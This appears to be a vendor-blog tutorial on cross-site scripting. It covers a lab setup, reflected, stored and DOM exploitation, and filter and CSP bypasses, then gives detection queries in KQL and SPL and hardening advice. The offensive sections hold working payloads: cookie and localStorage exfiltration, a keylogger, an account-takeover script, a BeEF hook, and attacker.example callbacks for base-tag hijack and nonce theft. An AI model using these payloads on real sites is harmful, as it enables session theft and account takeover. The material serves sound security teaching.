XSS Complete Attack Guide 2026 — Stored, Reflected, DOM & CSP Bypass

·

Cross-site scripting has been on the OWASP radar for two decades and it is still one of the most reported classes of web vulnerability in 2026. The reason is structural: every application that takes user input and renders it back into a page is one missed encoding away from running attacker JavaScript in another user's browser — inside your own origin, with your own cookies and session.

This guide is the practical, end-to-end version. You will stand up a safe lab, learn to spot injection points by output context (the single most important skill), exploit reflected, stored and DOM-based XSS by hand, then work through filter, sanitizer and Content-Security-Policy bypasses the way an attacker actually does. The last third flips to blue team: how to detect XSS attempts with KQL and SPL, and how to kill the bug class with output encoding, a strict CSP and Trusted Types.

Authorization note: every payload here is scoped to deliberately vulnerable targets you own — DVWA, OWASP Juice Shop, PortSwigger Academy. Testing XSS against systems you do not have written permission to test is a crime in most jurisdictions. Keep it in the lab.

◈ Table of Contents

01 What XSS Is & Why It Matters 02 Build Your XSS Lab (3 Ways) 03 Finding Injection Points by Context 04 Reflected XSS 05 Stored XSS 06 DOM-Based XSS 07 Filter & Sanitizer Bypass 08 CSP Bypass Techniques 09 Weaponization & Impact 10 Detection & Threat Hunting 11 Prevention & Hardening 12 Sources & References
🧠

01 — What XSS Is & Why a Defender Cares

FOUNDATION

Cross-site scripting is a code-injection flaw where an application includes untrusted data in a web page without properly neutralising it, so the victim's browser executes attacker-controlled script. The critical word is origin: the script runs as if the application itself wrote it, so it inherits the page's cookies, local storage, DOM and the user's authenticated session. The browser's same-origin policy — the thing that normally stops evil.com reading bank.com — offers no protection, because from the browser's point of view the script is bank.com.

There are three classic classes, split by where the untrusted data enters and where it is executed. Learn the taxonomy first; every payload decision downstream depends on which class you are dealing with.

ClassWhere payload livesExecutes whenServer involved?Typical sink
ReflectedIn the request (URL param, form field, header)Victim follows an attacker-crafted linkYes — echoed in the immediate responseServer-side template / echo
StoredSaved in the app (DB, profile, comment, log)Any user views the affected pageYes — persisted then servedServer-side render of stored value
DOM-basedIn the request, but never leaves the browserClient JS reads a source and writes a sinkNo — purely client-sideinnerHTML, eval, document.write

A fourth label you will see is blind XSS — a stored payload that fires in a context you cannot see, such as an admin support-ticket viewer or a log-analysis dashboard. It is not a separate mechanism, just stored XSS where the execution happens out of your view, which is why out-of-band callbacks matter (Phase 09). You will also hear self-XSS (the victim must paste the payload into their own console) and mutation XSS / mXSS (the browser's HTML parser rewrites supposedly-safe markup into executable markup) — both covered later.

🍪

Session Theft

Exfiltrate non-HttpOnly cookies or bearer tokens from localStorage and ride the victim's session.

🔑

Account Takeover

Script the app's own "change email / password" flow using the victim's session to lock them out silently.

⌨️

Keylogging & Phishing

Attach input listeners or inject a fake login form that posts credentials to an attacker endpoint.

🪱

Self-Propagating Worms

Stored XSS on a social feature can replicate itself to every viewer — the Samy worm hit a million MySpace profiles in under a day.

Why should a blue-teamer learn to exploit it? Because detection content you have never tested is detection content you do not trust. Writing the payload teaches you exactly which request shape to hunt for, which response anomaly betrays a successful injection, and which CSP directive would have stopped it. Every offensive step in this guide has a defensive mirror in Phase 10 and 11.

The single best free resource to practise alongside this guide is the PortSwigger Web Security Academy XSS track — free, hosted, and each lab isolates one concept. Keep it open in a second tab and solve the matching lab after each phase here.

🧪

02 — Build Your XSS Lab (3 Ways)

SETUP

You need targets you are allowed to break and a proxy to see the raw traffic. The table below is the minimum kit; after it, three install paths — bare metal, Docker, and a zero-install hosted option.

ComponentPurposeRecommended
Attacker boxRun the proxy + browserKali Linux 2026.x rec
Intercepting proxySee/modify raw requestsBurp Suite Community or OWASP ZAP
Vulnerable targetsLegal practice surfaceDVWA, OWASP Juice Shop, XSS-game
BrowserRender + DevToolsFirefox ESR (easy proxy + cert)
NetworkIsolationHost-only / NAT never bridged
01
Method 1 — DVWA on bare metal (LAMP)
NATIVE

DVWA ships XSS modules at three security levels (Low → Impossible), which is perfect for practising filter bypass. The native install gives you a real PHP app you can tweak at the source to see why a filter fails.

Ubuntu/Debian — install the stack and DVWA
$ sudo apt update && sudo apt install -y apache2 mariadb-server php php-mysqli php-gd git $ sudo systemctl enable --now apache2 mariadb $ sudo git clone https://github.com/digininja/DVWA /var/www/html/dvwa $ sudo cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php $ sudo chown -R www-data:www-data /var/www/html/dvwa
MariaDB — create the DVWA database and user
$ sudo mysql -e "CREATE DATABASE dvwa; CREATE USER 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd'; GRANT ALL ON dvwa.* TO 'dvwa'@'localhost'; FLUSH PRIVILEGES;"

Browse to http://localhost/dvwa/setup.php, click Create / Reset Database, log in with admin / password, then open XSS (Reflected), XSS (Stored) and XSS (DOM). Start at DVWA Security = Low and raise it as you go.

Bind this VM to a host-only or NAT network, never a bridged interface reachable from your LAN. A deliberately vulnerable app is a genuine foothold for anyone who finds it.

02
Method 2 — Docker (one compose file, three targets)
DOCKER

The fastest reproducible lab. This docker-compose.yml stands up DVWA, Juice Shop and a tiny reflector you control, each on its own port. Tear it down and rebuild from clean in seconds.

docker-compose.yml
services: dvwa: image: vulnerables/web-dvwa ports: ["8081:80"] restart: unless-stopped juiceshop: image: bkimminich/juice-shop ports: ["8083:3000"] restart: unless-stopped # A throwaway "collector" to catch XSS callbacks in the lab collector: image: python:3.13-alpine command: python -m http.server 9000 ports: ["9000:9000"] restart: unless-stopped
Launch the lab
$ mkdir xss-lab && cd xss-lab $ nano docker-compose.yml # paste the file above $ docker compose up -d # -d = detached $ docker compose ps # confirm all three are Up

DVWA is on :8081, Juice Shop on :8083, and your callback collector on :9000. Run docker compose down -v to destroy everything including volumes when done.

The collector service lets you prove exfiltration locally — point payloads at http://localhost:9000 and watch the hits land in the container logs with docker compose logs -f collector. No internet, no third party, fully contained.

03
Method 3 — PortSwigger Academy + Burp (hosted, zero install)
HOSTED VM-FREE

For CSP-bypass, DOM and cross-origin exfiltration labs, the hosted PortSwigger Academy is unbeatable — free, no install, and each lab's "solve" condition teaches the exact success criterion. Pair it with Burp Suite Community on Kali.

Kali — launch Burp and set the proxy
$ burpsuite & # Proxy → listener on 127.0.0.1:8080 # Firefox: Settings → Network → Manual proxy → 127.0.0.1:8080 (HTTP + HTTPS) # Install Burp's CA cert from http://burp to intercept TLS

Work the Academy XSS track top to bottom. The reflected/stored/DOM labs back Phases 04–06, and the CSP labs back Phase 08 exactly.

🔍

03 — Finding Injection Points by Context

THE KEY SKILL

Beginners memorise <script>alert(1)</script> and give up when it is filtered. Professionals ask a different question first: in what context does my input land in the response? The same input needs a completely different payload depending on whether it is reflected into HTML text, an HTML attribute, a <script> block, a URL, or a CSS value. Get the context right and most "filtering" evaporates.

Figure 1 — map the reflection context before choosing a payload
04
Probe with a unique marker, then read the raw response
FIRST PASS

Never start with <script>. Start with a harmless unique string that is unlikely to appear naturally, send it through every parameter, then search the raw response for it. Where and how it is reflected tells you the context — and whether special characters survive.

Send a marker, then grep the response for it
$ curl -s 'http://localhost:8081/vulnerabilities/xss_r/?name=zzq1<>"'"'"'' | grep -n zzq1 # Look at the context around zzq1 and which of < > " ' survived un-encoded
Canary payload set — one marker per character to test encoding
zzq1<zzq2>zzq3"zzq4'zzq5`zzq6 # see which delimiters come back raw
You have a candidate when
  • Your marker appears in the response body verbatim
  • At least one of < > " ' is reflected without HTML-encoding
  • The surrounding markup tells you which context you must break out of

Automate the input-surface map with a parameter fuzzer so you do not miss hidden sinks: ffuf -u 'http://localhost:8081/page?FUZZ=zzq1' -w params.txt -mr zzq1 matches only responses that reflect your marker.

05
Map every input surface — not just the query string
COVERAGE

Reflected and stored XSS hide in more than URL parameters. Enumerate the whole surface before you commit to one injection point.

SurfaceExamplesOften missed because
Query / POSTsearch, name, redirectobvious — scanners cover it
HeadersUser-Agent, Referer, X-Forwarded-Forreflected in error/admin pages
Cookiestheme, lang, last-pageechoed into the DOM by client JS
Path segments/profile/<name>rendered in breadcrumbs
File contentfilename, CSV cell, SVG uploadstored + rendered later (blind)
JSON fieldsAPI body valuesSPA writes them to innerHTML

A reflected value inside an href, src, or formaction does not need angle brackets at all — a javascript: URI is enough. Teams that only block < and > leave this wide open.

↩️

04 — Reflected XSS

REQUEST → RESPONSE

Reflected XSS is the simplest to understand: the app takes a value from the request and writes it straight into the response. The payload is never stored, so delivery is the hard part — you need the victim to send your request, usually by clicking a crafted link. It is still dangerous because a single link in a phishing email executes in the victim's authenticated session.

06
Context payloads — break out, then execute
PAYLOAD CRAFT

Against DVWA's reflected module at Low, your marker lands in raw HTML text, so a bare injection works. Raise the level and the context (or a filter) changes, so you switch payloads. These are the canonical one-liners per context.

HTML text context (marker lands between tags)
<script>alert(document.domain)</script> <svg onload=alert(document.domain)> # shorter, no /script needed <img src=x onerror=alert(document.domain)> # fires on load failure
Attribute context (marker inside value="...")
"><svg onload=alert(document.domain)> # close the attr + tag, open new " autofocus onfocus=alert(document.domain) x=" # stay in the tag, add handler
JavaScript string context (marker inside var x='...')
'-alert(document.domain)-' # break the string with operators '};alert(document.domain);// # close a block, then run

Use document.domain rather than 1 in the alert — it proves which origin executed the script, which matters when you are chasing a reflection that renders inside an iframe or a different subdomain.

07
Weaponize the delivery link
DELIVERY

Reflected XSS is only useful if the victim sends the request. For a GET sink that is a URL; for a POST sink it is an auto-submitting form hosted on a page you control. In the lab, your collector service plays the victim-landing role.

GET delivery — URL-encode the payload
http://localhost:8081/vulnerabilities/xss_r/?name=%3Csvg%20onload%3Dalert(document.domain)%3E
POST delivery — auto-submitting form (host on your page)
<form action="http://target/search" method="POST"> <input name="q" value=""><svg onload=alert(document.domain)>"> </form> <script>document.forms[0].submit()</script>

Browsers ship anti-XSS heuristics and aggressive URL encoding, but they are not a control you can rely on — Chrome removed its XSS Auditor years ago. Never assume the browser will save a user from a reflected payload.

💾

05 — Stored XSS

HIGHEST IMPACT

Stored (persistent) XSS is the dangerous one. The payload is saved server-side — a comment, a profile field, a product review, a support ticket — and then served to every user who views that page, with no crafted link required. One successful injection can hit thousands of sessions, and if it lands in an admin-only view it is effectively a privilege-escalation primitive.

08
Plant a stored payload in DVWA's guestbook
PERSIST

DVWA's stored-XSS module is a guestbook that saves name + message. At Low it stores and renders raw HTML. Watch for a maxlength attribute on the input — it is client-side only, so remove it in DevTools or send the request directly through Burp to use a longer payload.

Store the payload via the raw request (bypasses maxlength)
$ curl -s 'http://localhost:8081/vulnerabilities/xss_s/' \ -b 'PHPSESSID=<your-session>; security=low' \ --data-urlencode 'txtName=guest' \ --data-urlencode 'mtxMessage=<script>new Image().src="http://localhost:9000/c?"+document.cookie</script>' \ --data 'btnSign=Sign+Guestbook'

Now load the guestbook in a browser session and watch the hit arrive in your collector: docker compose logs -f collector. Every visitor who renders that page sends their cookie — that is the whole point of stored XSS.

For blind stored XSS (admin ticket viewers, log dashboards) you will not see the execution. Plant a callback payload and wait — if your collector logs a hit minutes later from a different IP/User-Agent, you have proven execution in a context you cannot even see. Tools like XSS Hunter formalise this pattern.

09
Stored XSS via file upload (SVG / filename)
MODERN SURFACE

An SVG is XML that browsers execute as markup — including <script> inside it. If an app stores an uploaded SVG and serves it from its own origin (an avatar, a document preview), opening that file is stored XSS. The filename itself is another stored sink if it is echoed into a listing.

Malicious SVG payload (upload as avatar.svg)
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"> <script>fetch('http://localhost:9000/svg?'+document.cookie)</script> </svg>

This only fires if the file is served with an HTML/SVG Content-Type from the app's own origin. Serving user uploads from a separate sandbox domain with Content-Disposition: attachment is the fix — see Phase 11.

🧬

06 — DOM-Based XSS

CLIENT-SIDE ONLY

DOM-based XSS never touches the server-side render. Client JavaScript reads attacker-controllable data from a source (like location.hash) and passes it to a dangerous sink (like innerHTML or eval) without sanitisation. Because the payload can live entirely in the fragment (#) part of a URL, it is frequently not even sent to the server — which is exactly why server-side WAFs and logs miss it.

10
Trace the source-to-sink dataflow
ANALYSIS

Finding DOM XSS is a code-reading exercise. Open DevTools, search the loaded JS for sinks, then trace backwards to see whether any of them is fed by a source you control.

Sources (attacker-influenced)Sinks (execute / inject)
location.hash / .search / .hrefelement.innerHTML / outerHTML
document.referrerdocument.write()
window.nameeval() / setTimeout(str)
postMessage event.dataelement.setAttribute('href', …)
localStorage / cookiesjQuery $(…), $.html()
Find sinks fast in DevTools console
// In Sources, Ctrl+Shift+F across all scripts for: innerHTML outerHTML document.write eval( setTimeout( location.hash .html(
11
Exploit a hash-based innerHTML sink
EXPLOIT

Classic vulnerable pattern: a page reads location.hash and drops it into innerHTML to render a "tab" or search term. Because innerHTML will not run a bare <script> inserted after load, you use an auto-firing event handler instead.

Vulnerable client code (what you are looking for)
var tab = decodeURIComponent(location.hash.slice(1)); document.getElementById('out').innerHTML = tab; // sink, no encoding
The exploit URL
http://target/#<img src=x onerror=alert(document.domain)>

innerHTML assignment does not execute <script> elements, so beginners think they are safe. They are not — <img onerror>, <svg onload> and <iframe srcdoc> all fire from an innerHTML write. Test with an event handler, never a script tag.

🧩

07 — Filter & Sanitizer Bypass

EVASION

Real apps rarely reflect input raw. They strip <script>, blocklist keywords, or run the value through an HTML sanitizer. Bypass work is the difference between "it is filtered" and "it is exploitable." The mindset is always the same: understand exactly what the filter does, then find the input it fails to normalise.

12
Defeat naive keyword blocklists
BLOCKLIST

A filter that deletes the literal string script once, or only matches lowercase, or only blocks <script> but not other tags, is defeated by case, nesting, or simply using a different tag. There are hundreds of tags/handlers that execute without the word "script."

Case & nesting against a single-pass strip
<ScRiPt>alert(1)</sCrIpT> # case-insensitive bypass <scr<script>ipt>alert(1)</script> # strip-once leaves <script>
No "script" word needed at all
<svg/onload=alert(1)> # slash instead of space <img src onerror=alert(1)> <body onpageshow=alert(1)> <details open ontoggle=alert(1)> <marquee onstart=alert(1)>

When you are not sure what survives a filter, feed it a known payload corpus and watch what comes back. The PortSwigger XSS cheat sheet's "copy events/tags" feature and the payloadbox/xss-payload-list repo are the go-to sources — then trim to what your specific filter lets through.

13
Encoding & obfuscation tricks
ENCODING

Filters often inspect the decoded-once value while the browser decodes again in a different layer. HTML entities, URL double-encoding, and JS escapes let the payload slip past the inspector but reassemble in the browser.

HTML-entity encoded handler (decodes in attribute context)
<img src=x onerror=&#97;lert(1)> # &#97; = 'a' → alert
javascript: URI with entities (href/src context)
<a href="javascript:alert(1)">x</a> <a href="javascript&colon;alert(1)">x</a> # entity-split the colon
Bracket-free JS (defeats "no parentheses" filters)
<svg><script>onerror=alert;throw 1</script> <img src=x onerror="window[`al`+`ert`](1)">

Double-URL-encoding (%253Cscript%253E) works when one tier of the stack decodes before the filter runs and another decodes after. Always test single and double encoding against proxies and WAFs.

14
Mutation XSS (mXSS) against sanitizers
mXSS

Client-side sanitizers like DOMPurify are strong, but mXSS attacks exploit the gap between what the sanitizer parses and what the browser re-parses after insertion. Markup that looks inert to the sanitizer can mutate into executable markup when the browser normalises it — historically via <template>, <noscript>, namespace confusion (SVG/MathML) and HTML-in-foreign-content quirks.

The concept — markup that mutates on reparse
# Example shape of an mXSS vector (version-specific): # sanitizer sees inert nodes; browser re-parses foreign content # into an executable element after insertion. <svg><p><style><!--</style><img src=x onerror=alert(1)>-->

mXSS vectors are highly version-specific — a payload that beats one DOMPurify release is patched in the next. Do not rely on a sanitizer version as a boundary; always pair it with a strict CSP. Keep DOMPurify pinned to the latest release.

Defensive takeaway: because sanitizers are a moving target, treat them as defence-in-depth, not the control. The durable fix is context-aware output encoding plus Trusted Types (Phase 11), which makes the dangerous sink itself refuse a raw string.

🛡️

08 — CSP Bypass Techniques

DEFENCE-IN-DEPTH, DEFEATED

Content Security Policy is a browser-enforced allowlist of where scripts may come from. A good CSP turns many XSS bugs into non-events. But CSP is widely mis-configured, and a weak policy gives a false sense of safety. Knowing how policies fall over tells you both how to exploit a weak one and how to write a strong one in Phase 11.

15
Read the policy and find the weak link
RECON

Every bypass starts with reading the Content-Security-Policy header. Grab it, then check it against a known-weakness checklist.

Dump the CSP header
$ curl -sI https://target/ | grep -i content-security-policy
Weakness in policyWhy it is exploitable
'unsafe-inline'inline handlers/scripts allowed — CSP barely helps
'unsafe-eval'string-to-code sinks (eval) still run
script-src *any host allowed — load from attacker CDN
allowlisted CDN w/ JSONPabuse a JSONP endpoint on the allowed host
no object-src / base-uribase-tag hijack & plugin vectors
16
Abuse an allowlisted host (JSONP & base-uri)
ALLOWLIST ABUSE

If the policy trusts a whole domain that happens to host a JSONP endpoint, you can run arbitrary JS from that trusted host — the classic allowlist bypass. If base-uri is unset, a <base> tag can repoint relative script loads to your server.

JSONP callback abuse on an allowlisted host
<script src="https://allowed-cdn.example/api?callback=alert(document.domain)//"></script>
base-uri hijack (when base-uri is not set)
<base href="https://attacker.example/"> <!-- relative <script src="app.js"> now loads from attacker.example -->
17
Nonce reuse & strict-dynamic pivots
NONCE / STRICT-DYNAMIC

Nonce-based CSP is strong only if the nonce is unpredictable and never leaked. Two real failure modes: a nonce that is reused across responses (so you can hardcode it), and strict-dynamic, where any script already trusted can create new scripts freely — so one injection into a trusted script's dataflow propagates.

If a nonce is static/guessable, just reuse it
<script nonce="SAME-NONCE-EVERY-TIME">alert(document.domain)</script>
Dangling-markup nonce theft (exfiltrate the real nonce)
<img src="https://attacker.example/leak?x= # unterminated — swallows following markup incl. nonce

Nonce exfiltration via CSS injection and dangling markup is an active 2026 technique. A nonce that appears in markup an attacker can partially control is not a secret. Regenerate per response and never place attacker-reachable content before a nonced script.

💥

09 — Weaponization & Impact

WHY IT MATTERS

alert(1) proves execution; it does not prove impact. To write a report a business will act on — and to understand what you are defending against — you translate execution into concrete harm. Everything here is lab-only and points at your local collector, never a live victim.

18
Session & token theft
EXFIL

The default demonstration of impact: steal the session. This works only against cookies without the HttpOnly flag, or against tokens stored in localStorage (which is always script-readable — a reason to prefer HttpOnly cookies over JWT-in-localStorage).

Cookie + localStorage exfiltration to the lab collector
<script> fetch('http://localhost:9000/x', {method:'POST', body: JSON.stringify({c:document.cookie, ls:JSON.stringify(localStorage)})}); </script>

HttpOnly blocks document.cookie from reading the session cookie — but XSS can still use it by making authenticated requests as the victim. HttpOnly limits theft, not abuse.

19
Account takeover with the victim's own session
ATO

More reliable than cookie theft: do not steal the session, use it. Script the application's own account-management flow — fetch the CSRF token from the page, then submit an email change — all inside the victim's authenticated context. This defeats HttpOnly entirely.

Read CSRF token, then change the account email (lab target)
<script> fetch('/account').then(r=>r.text()).then(h=>{ var t = h.match(/csrf"\s+value="([^"]+)/)[1]; fetch('/account/email', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'csrf='+t+'&[email protected]'}); }); </script>

In a report, an ATO proof-of-concept moves XSS from "medium" to "critical" far more convincingly than a cookie dump. It demonstrates the bug survives HttpOnly, SameSite and token-based auth in one shot.

20
Keylogging, phishing overlays & BeEF
POST-EXPLOIT

XSS gives you the whole DOM, so you can attach input listeners, inject a convincing fake login prompt, or hook the browser into a control framework. BeEF (the Browser Exploitation Framework, pre-installed on Kali) is the standard lab tool for demonstrating sustained post-exploitation of a hooked browser.

Minimal keylogger (posts keystrokes to the collector)
<script>onkeypress=e=>new Image().src='http://localhost:9000/k?'+e.key</script>
Hook a lab browser with BeEF
$ sudo beef-xss # then inject the hook.js it prints <script src="http://<kali-ip>:3000/hook.js"></script>

BeEF hooks and keyloggers are for your own lab browsers only. Running them against anyone who has not consented is illegal regardless of intent — keep the hook pointed at your own VM.

📡

10 — Detection & Threat Hunting

BLUE TEAM

You cannot patch every XSS instantly, so you also hunt for exploitation attempts and successful injections in your logs. The detections below assume you are shipping web/WAF logs to Microsoft Sentinel and to Splunk. Each query is preceded by what it finds; every KQL block has a paired SPL equivalent.

21
Detect XSS payload patterns in request logs
KQL + SPL

The highest-signal hunt is for XSS markup in URL and body fields of inbound requests. Decode first (attackers URL-encode), then match on tag/handler signatures. Expect false positives from WAF test traffic and security scanners — tune by source IP.

DETECTS: script tags and auto-firing event handlers in request URIs/bodies (reflected & stored injection attempts).
KQL — Microsoft Sentinel (W3CIISLog / AppGW / custom web log)
W3CIISLog | where TimeGenerated > ago(24h) | extend decoded = url_decode(csUriQuery) | where decoded matches regex @"(?i)(<script|onerror\s*=|onload\s*=|<svg|<img[^>]+onerror|javascript:|document\.cookie)" | summarize hits=count(), paths=make_set(csUriStem, 10) by cIP, csUserAgent | where hits > 1 | sort by hits desc
SPL — Splunk equivalent
index=web sourcetype=access_combined | eval decoded=urldecode(uri_query) | regex decoded="(?i)(<script|onerror\s*=|onload\s*=|<svg|<img[^>]+onerror|javascript:|document\.cookie)" | stats count AS hits values(uri_path) AS paths by clientip, useragent | where hits>1 | sort - hits
22
Catch successful injection via CSP violation reports
KQL + SPL

A CSP in report-to/report-uri mode turns the victim's browser into a sensor: a blocked inline script generates a violation report. A spike of script-src violations on one page is a strong signal of a live XSS attempt that your policy just blocked.

DETECTS: clusters of CSP script-src violations indicating blocked (or attempted) script injection on a specific page.
KQL — CSP report ingestion (custom table CSPReports_CL)
CSPReports_CL | where TimeGenerated > ago(24h) | where violated_directive_s startswith "script-src" | summarize violations=count(), blockedSamples=make_set(blocked_uri_s, 5) by document_uri_s, bin(TimeGenerated, 1h) | where violations > 5 | sort by violations desc
SPL — Splunk equivalent
index=csp sourcetype=csp:report "csp-report.violated-directive"="script-src*" | stats count AS violations values(csp-report.blocked-uri) AS blocked by csp-report.document-uri | where violations>5 | sort - violations

Deploy CSP in report-only mode before enforcing it. You get the sensor value immediately and a complete inventory of what you would break, with zero risk to users — then flip to enforcing once the reports are clean.

23
Hunt outbound exfiltration from injected script
KQL + SPL

Successful XSS usually calls home. Hunt egress/proxy logs for beacons to newly-seen external hosts whose requests carry cookie-shaped or base64 query strings, correlated with a Referer from your own app.

DETECTS: browser callbacks to first-seen external hosts carrying cookie/token-shaped data, referred from your app.
KQL — proxy / egress log (CommonSecurityLog)
let known = CommonSecurityLog | where TimeGenerated between (ago(30d) .. ago(1d)) | distinct DestinationHostName; CommonSecurityLog | where TimeGenerated > ago(1d) | where RequestURL has_any ("document.cookie","?c=","?x=","leak","token=") | where DestinationHostName !in (known) | where RequestContext has "yourapp.example" // Referer from your origin | project TimeGenerated, SourceIP, DestinationHostName, RequestURL
SPL — Splunk equivalent
index=proxy earliest=-1d | search (url="*document.cookie*" OR url="*?c=*" OR url="*leak*" OR url="*token=*") | search referer="*yourapp.example*" | stats count by src_ip, dest_host, url | sort - count
24
Map detections to MITRE ATT&CK
ATT&CK

XSS spans Initial Access through Collection. Tag your analytics rules with the techniques below so coverage is visible on the ATT&CK Navigator.

TechniqueIDWhere it fits in XSS
Drive-by CompromiseT1189Victim loads a page carrying injected script
Exploit Public-Facing ApplicationT1190Injecting the stored/reflected payload
Steal Web Session CookieT1539Cookie/token exfiltration via script
Browser Session HijackingT1185Acting as the victim in-session (ATO)
Exfiltration Over Web ServiceT1567Beacon of stolen data to attacker host
🧱

11 — Prevention & Hardening

KILL THE BUG CLASS

Detection buys time; prevention ends the problem. XSS is one of the most solvable vulnerability classes because the fixes are well understood and layer cleanly. Apply them in order of durability: context-aware output encoding first, then framework defaults, then CSP and Trusted Types as defence-in-depth.

25
Context-aware output encoding (the real fix)
PRIMARY CONTROL

Encode untrusted data for the exact context it lands in — HTML body, attribute, JS, URL and CSS each need different encoding. Modern frameworks do this by default; the vulnerabilities appear when developers opt out.

Use the framework's auto-escaping — and never the escape hatch
// React — safe by default <div>{userInput}</div> // auto-escaped <div dangerouslySetInnerHTML={{__html:userInput}}/> // NEVER with raw input // Angular auto-sanitises; avoid bypassSecurityTrustHtml() // Vue: {{ }} is safe; v-html is the danger

The three functions that reintroduce XSS in otherwise-safe frameworks: React's dangerouslySetInnerHTML, Angular's bypassSecurityTrust*, and Vue's v-html. Grep your codebase for them in review — each one is a sink that needs a sanitizer in front of it.

26
Deploy a strict, nonce-based CSP + Trusted Types
DEFENCE-IN-DEPTH

A strict CSP neutralises most injected script even when an encoding bug slips through. The modern recommendation is a nonce-based policy with strict-dynamic, plus Trusted Types to lock down DOM sinks so a raw string simply cannot reach innerHTML.

Strict CSP response header (regenerate nonce per response)
Content-Security-Policy: script-src 'nonce-{RANDOM}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; require-trusted-types-for 'script'; report-uri /csp-report
Trusted Types — force sinks through a vetted policy
// With require-trusted-types-for 'script', this now throws: el.innerHTML = userInput; // TypeError unless a TT policy sanitises it // Define exactly one policy that runs DOMPurify: trustedTypes.createPolicy('default', { createHTML: s => DOMPurify.sanitize(s) });

Roll CSP out in three stages: (1) Content-Security-Policy-Report-Only to collect violations, (2) fix what it flags, (3) enforce. Trusted Types supports the same report-only mode — use it to find every unsafe DOM write before you enforce.

27
Cookie flags, upload isolation & verification
HARDENING

Round out the defence with the flags and isolation that limit blast radius, then verify the whole stack holds under your Phase 04–08 payloads.

Session cookie hardening
Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax; Path=/
Serve user uploads from an isolated origin
# Host avatars/docs on a separate sandbox domain, force download: Content-Type: application/octet-stream Content-Disposition: attachment; filename="upload.bin" X-Content-Type-Options: nosniff
Hardening complete when
  • Every reflected/stored value is context-encoded by the framework, no manual escape hatches with raw input
  • Strict nonce-based CSP enforced, reports clean, object-src and base-uri locked to 'none'
  • Trusted Types enforced; no raw-string writes reach innerHTML/eval
  • Session cookies are HttpOnly; Secure; SameSite; tokens are not in localStorage
  • User uploads served from a sandbox origin with nosniff + attachment disposition
  • Your Phase 04–08 lab payloads all fail against the hardened app

Do not treat a WAF as the fix. WAFs reduce noise and buy time, but every bypass in Phase 07–08 is, at root, a WAF/filter bypass. Encoding + CSP + Trusted Types is the control; the WAF is a speed bump.

◈ Troubleshooting — Common XSS Testing Problems

SymptomLikely causeFix
Payload shows as text, not executingOutput is HTML-encoded (not vulnerable here) or wrong contextRe-check the context; try attribute/JS breakout; confirm chars survive un-encoded
<script> in innerHTML won't runinnerHTML never executes injected script elementsUse <img onerror> / <svg onload> event handlers
Payload truncatedClient-side maxlength or server length capSend via Burp/curl to bypass client limits; shorten with <svg onload>
Works in curl, not in browserEncoding mismatch or the sink is DOM-basedURL-encode for the browser; check client JS source→sink
Blocked by CSP in consolePolicy forbids inline/your sourceRead the header; try allowlist/JSONP/nonce vectors (Phase 08)
Stored payload never firesBlind context or value rendered elsewhereUse an out-of-band callback collector and wait
📚

12 — Sources & References

VERIFY

Primary references for the techniques and defences in this guide. Practise the offensive steps only against the deliberately vulnerable targets in Phase 02 or systems you are explicitly authorised to test.

OWASP — Cross Site Scripting (XSS) overview OWASP — XSS Prevention Cheat Sheet (context-aware encoding) OWASP — DOM-Based XSS Prevention Cheat Sheet PortSwigger Web Security Academy — Cross-site scripting PortSwigger — XSS Cheat Sheet (tags & events) MDN — Content Security Policy (CSP) web.dev — Prevent DOM-based XSS with Trusted Types cure53 — DOMPurify (HTML sanitizer) MITRE ATT&CK — T1059.007 JavaScript

⚖️ Authorized testing only.

Every payload in this guide is scoped to deliberately vulnerable labs (DVWA, OWASP Juice Shop, PortSwigger Academy) or systems you own and are authorised to test. Unauthorised XSS testing against third-party applications is illegal in most jurisdictions. Build the lab, learn the tradecraft, then use it to harden your own apps and write detections you can trust.

Need a managed web-app assessment or detection-engineering support? CyberHawk Threat Intel runs authorized testing and builds the Sentinel/Splunk content to catch what it finds.

◈ Stay Connected

Follow CyberHawk Threat Intel for threat intelligence, deployment guides and hands-on SOC tooling content.

🌐 Website ▶️ YouTube ▶️ YouTube (2) 𝕏 Twitter / X ♪ TikTok ✈️ Telegram
🔍 IOC Scanner 🛠️ Live Tools 📚 Courses 🚨 Threat Intel 📝 Blog 📋 SOPs

"They can't exploit you if you are the Exploit."